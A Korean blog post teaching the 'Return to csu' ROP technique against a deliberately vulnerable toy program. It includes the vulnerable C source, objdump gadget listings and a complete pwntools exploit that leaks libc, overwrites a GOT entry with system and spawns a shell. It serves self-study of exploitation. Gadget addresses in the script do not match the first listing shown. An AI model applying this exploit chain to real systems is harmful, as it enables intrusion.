[Pwn] Return to csu

코코·2024년 1월 8일
0

pwn

목록 보기
7/10

오늘은 일명 RTC! Return to csu 기법에 대해 학습해보려고 한다.

ROP를 수행할 때 세 번째 인자를 설정할 수 있는 pop rdx 가젯이 없는 경우에 RTC 기법을 생각해볼 수 있다.


RTC?

RTC란 __libc_csu_init 함수의 가젯을 사용하여 ROP를 수행하는 기법이다.

우선 예제코드는 그냥 Stack Buffer Overflow 취약점을 가진 코드로 대충 끄적였다. 넉넉하게 0x300의 입력을 받는다.

  • rop.c
// gcc -o rop rop.c -no-pie -fno-stack-protector

#include <stdio.h>

void init(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}

int main(){
    char buf[30];

    init();

    write(1, "Hello. Input :", 14);
    read(0, buf, 0x300);

    return 0;
}

그냥 read 함수를 통해 입력값을 한 번 받고 프로그램이 종료된다.



🔍 Find RTC Gadget

우선 공격에 필요한 가젯부터 찾아보자.💪

objdump -M intel -d rop

위의 커맨드를 통해 필요한 가젯을 확인할 수 있다.


📌 RTC 기법 원리

위에서 objdump 명령어를 통해 찾은 결과이다.
필요한 부분은 딱 2가지이다. 바로 빨간박스를 친 부분이다. 두둥❗


우선 아래의 두 번째 박스부터 살펴보자.

  4005da:       5b                      pop    rbx
  4005db:       5d                      pop    rbp
  4005dc:       41 5c                   pop    r12
  4005de:       41 5d                   pop    r13
  4005e0:       41 5e                   pop    r14
  4005e2:       41 5f                   pop    r15
  4005e4:       c3                      ret

pop 어셈블리어를 통해 rbx, rbp, r12, r13, r14, r15 레지스터에 값을 설정해주고 있다.


이 상태로 첫 번째 박스를 보자!

  4005c0:       4c 89 fa                mov    rdx,r15
  4005c3:       4c 89 f6                mov    rsi,r14
  4005c6:       44 89 ef                mov    edi,r13d
  4005c9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]

아까 설정한 r15 레지스터가 rdx 레지스터에 들어가고, r14 레지스터가 rsi, r13d 레지스터가 edi 레지스터에 들어가고 있다.
즉, r13은 첫 번째 인자, r14은 두 번째 인자, r15는 세 번째 인자를 설정해주고 있다.

이후 QWORD PTR [r12 + rbx * 8]에 저장된 주소를 호출한다.
만약 rbx레지스터가 0이고, r12 레지스터에 원하는 주소를 넣으면 원하는 주소로 실행 흐름을 바꿀 수 있을 것이다.



또한 마지막으로 살펴볼 부분이 있다. 바로 빨간색 박스 사이에 있는 부분이다.

  40073d:       48 83 c3 01             add    rbx,0x1
  400741:       48 39 dd                cmp    rbp,rbx
  400744:       75 ea                   jne    400730 <__libc_csu_init+0x40>
  400746:       48 83 c4 08             add    rsp,0x8

해당 부분에서 rbx0x0으로, rbp0x1로 설정해주면 두 번째 박스까지 자연스럽게 흐름이 이어진다.
즉, call QWORD PTR [r12+rbx*0x8] 이후 pop rbx; pop rbp .. 가 있는 코드 가젯으로 실행 흐름이 이어지는 것이다.




⚡️ Exploit

이렇게 끝나면 심심하니까 그냥 Exploit Code를 작성하고 마치겠다.


📃 Exploit 시나리오는 간단하게 설명해보면 아래와 같다.

1. write 함수 호출
	: read 함수의 주소를 출력하여, libc 및 system 함수 주소 계산
    
2. read 함수 호출
	: bss영역에 "/bin/sh" 문자열 저장
    
3. read 함수 호출
	: read_got에 system 함수 주소로 overwrite
	
4. system("/bin/sh") 호출
	: read_got(bss)를 호출하여 system("/bin/sh") 호출

  • ex.py
from pwn import *

context.log_level = 'debug'

p = process('./rop')
binary = ELF('./rop')

bss = 0x000000000601040
ret_addr = 0x000000000040050e
gadget1 = 0x400730
"""
    mov rdx, r15
    mov rsi, r14
    mov edi, r13d
"""
gadget2 = 0x40074a
"""
    pop rbx
    pop rbp
    pop r12
    pop r13
    pop r14
    pop r15
"""

print("[*] write plt : ", hex(binary.plt["write"]))

# Input : rbp-0x20
# write(1, read_got, 8)
payload = b"A" * 0x20 + b"B" * 0x8
payload += p64(gadget2)
payload += p64(0x0) # rbx
payload += p64(0x1) # rbp, to Call gadget2
payload += p64(binary.got["write"]) # r12
payload += p64(0x1) # r13
payload += p64(binary.got["read"]) # r14
payload += p64(0x8) # r15

payload += p64(gadget1) # Call write(1, read_got, 8)
payload += p64(0x0) # add rsp, 0x8
# Make read(0, bss, 0x8)
payload += p64(0x0) # pop rbx
payload += p64(0x1) # pop rbp
payload += p64(binary.got["read"]) # pop r12
payload += p64(0x0) # pop r13
payload += p64(bss) # pop r14
payload += p64(0x8) # pop r15

# call read(0, bss, 0x8)
payload += p64(gadget1) # Call read(0, bss, 0x8)
payload += p64(0x0) # add rsp, 0x8
# Make read(0, read_got, 0x8)
payload += p64(0x0) # pop rbx
payload += p64(0x1) # pop rbp
payload += p64(binary.got["read"]) # pop r12
payload += p64(0x0) # pop r13
payload += p64(binary.got["read"]) # pop r14
payload += p64(0x8) # pop r15

# call read(0, read_got, 0x8)
payload += p64(gadget1) # Call read(0, bss, 0x8)
payload += p64(0x0) # add rsp, 0x8
# Make system("/bin/sh")
payload += p64(0x0) # pop rbx
payload += p64(0x0) # pop rbp
payload += p64(binary.got["read"]) # pop r12
payload += p64(bss) # pop r13
payload += p64(0x0) # pop r14
payload += p64(0x0) # pop r15

# system("/bin/sh")
payload += p64(ret_addr) # Add ret gadget
payload += p64(gadget1) # Call system("/bin/sh")

# pause()

p.sendlineafter(b"Hello. Input :", payload)

read_address = u64(p.recvn(8))
libc_address = read_address - 0x110020
system_address = libc_address + 0x4f420

print("[*] read addr : ", hex(read_address))
print("[*] libc addr : ", hex(libc_address))

pause()

p.send(b"/bin/sh\x00")
p.send(p64(system_address))

p.interactive()

  • 결과

진짜 끝 !!👋

profile
화이팅!

0개의 댓글